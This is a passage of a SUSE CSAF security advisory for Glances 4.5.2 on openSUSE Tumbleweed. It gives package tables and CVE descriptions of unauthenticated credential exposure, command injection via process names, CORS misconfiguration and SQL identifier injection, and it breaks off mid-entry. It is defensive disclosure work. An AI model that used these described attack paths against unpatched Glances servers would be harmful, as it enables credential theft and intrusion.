| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "glances-common-4.5.2-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the glances-common-4.5.2-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10415",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10415-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32596 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32596/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32608 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32608/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32609 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32609/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32610 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32610/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32611 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32611/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32632 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32632/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32633 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32633/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-32634 page",
"url": "https://www.suse.com/security/cve/CVE-2026-32634/"
}
],
"title": "glances-common-4.5.2-1.1 on GA media",
"tracking": {
"current_release_date": "2026-03-24T00:00:00Z",
"generator": {
"date": "2026-03-24T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10415-1",
"initial_release_date": "2026-03-24T00:00:00Z",
"revision_history": [
{
"date": "2026-03-24T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "glances-common-4.5.2-1.1.aarch64",
"product": {
"name": "glances-common-4.5.2-1.1.aarch64",
"product_id": "glances-common-4.5.2-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python311-Glances-4.5.2-1.1.aarch64",
"product": {
"name": "python311-Glances-4.5.2-1.1.aarch64",
"product_id": "python311-Glances-4.5.2-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "python313-Glances-4.5.2-1.1.aarch64",
"product": {
"name": "python313-Glances-4.5.2-1.1.aarch64",
"product_id": "python313-Glances-4.5.2-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "glances-common-4.5.2-1.1.ppc64le",
"product": {
"name": "glances-common-4.5.2-1.1.ppc64le",
"product_id": "glances-common-4.5.2-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python311-Glances-4.5.2-1.1.ppc64le",
"product": {
"name": "python311-Glances-4.5.2-1.1.ppc64le",
"product_id": "python311-Glances-4.5.2-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "python313-Glances-4.5.2-1.1.ppc64le",
"product": {
"name": "python313-Glances-4.5.2-1.1.ppc64le",
"product_id": "python313-Glances-4.5.2-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "glances-common-4.5.2-1.1.s390x",
"product": {
"name": "glances-common-4.5.2-1.1.s390x",
"product_id": "glances-common-4.5.2-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python311-Glances-4.5.2-1.1.s390x",
"product": {
"name": "python311-Glances-4.5.2-1.1.s390x",
"product_id": "python311-Glances-4.5.2-1.1.s390x"
}
},
{
"category": "product_version",
"name": "python313-Glances-4.5.2-1.1.s390x",
"product": {
"name": "python313-Glances-4.5.2-1.1.s390x",
"product_id": "python313-Glances-4.5.2-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "glances-common-4.5.2-1.1.x86_64",
"product": {
"name": "glances-common-4.5.2-1.1.x86_64",
"product_id": "glances-common-4.5.2-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python311-Glances-4.5.2-1.1.x86_64",
"product": {
"name": "python311-Glances-4.5.2-1.1.x86_64",
"product_id": "python311-Glances-4.5.2-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "python313-Glances-4.5.2-1.1.x86_64",
"product": {
"name": "python313-Glances-4.5.2-1.1.x86_64",
"product_id": "python313-Glances-4.5.2-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "glances-common-4.5.2-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64"
},
"product_reference": "glances-common-4.5.2-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "glances-common-4.5.2-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le"
},
"product_reference": "glances-common-4.5.2-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "glances-common-4.5.2-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x"
},
"product_reference": "glances-common-4.5.2-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "glances-common-4.5.2-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64"
},
"product_reference": "glances-common-4.5.2-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-Glances-4.5.2-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64"
},
"product_reference": "python311-Glances-4.5.2-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-Glances-4.5.2-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le"
},
"product_reference": "python311-Glances-4.5.2-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-Glances-4.5.2-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x"
},
"product_reference": "python311-Glances-4.5.2-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python311-Glances-4.5.2-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64"
},
"product_reference": "python311-Glances-4.5.2-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-Glances-4.5.2-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64"
},
"product_reference": "python313-Glances-4.5.2-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-Glances-4.5.2-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le"
},
"product_reference": "python313-Glances-4.5.2-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-Glances-4.5.2-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x"
},
"product_reference": "python313-Glances-4.5.2-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "python313-Glances-4.5.2-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
},
"product_reference": "python313-Glances-4.5.2-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-32596",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32596"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32596",
"url": "https://www.suse.com/security/cve/CVE-2026-32596"
},
{
"category": "external",
"summary": "SUSE Bug 1260321 for CVE-2026-32596",
"url": "https://bugzilla.suse.com/1260321"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-32596"
},
{
"cve": "CVE-2026-32608",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32608"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32608",
"url": "https://www.suse.com/security/cve/CVE-2026-32608"
},
{
"category": "external",
"summary": "SUSE Bug 1260320 for CVE-2026-32608",
"url": "https://bugzilla.suse.com/1260320"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-32608"
},
{
"cve": "CVE-2026-32609",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32609"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication. Version 4.5.2 provides a more complete fix.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32609",
"url": "https://www.suse.com/security/cve/CVE-2026-32609"
},
{
"category": "external",
"summary": "SUSE Bug 1259832 for CVE-2026-32609",
"url": "https://bugzilla.suse.com/1259832"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-32609"
},
{
"cve": "CVE-2026-32610",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32610"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette\u0027s `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-32610",
"url": "https://www.suse.com/security/cve/CVE-2026-32610"
},
{
"category": "external",
"summary": "SUSE Bug 1259841 for CVE-2026-32610",
"url": "https://bugzilla.suse.com/1259841"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-24T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-32610"
},
{
"cve": "CVE-2026-32611",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-32611"
}
],
"notes": [
{
"category": "general",
"text": "Glances is an open-source system cross-platform monitoring tool. The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names. Version 4.5.3 provides a more complete fix.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
"openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
"openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
